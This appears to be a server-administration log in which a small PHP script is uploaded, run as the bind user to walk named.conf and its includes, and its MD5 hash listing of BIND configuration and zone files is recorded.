MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:09:43: Establishing a connection
2026-04-21 19:09:43: 

PUT: /tmp/pkp705956

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:09:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp705956; rm /tmp/pkp705956'

2026-04-21 19:09:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
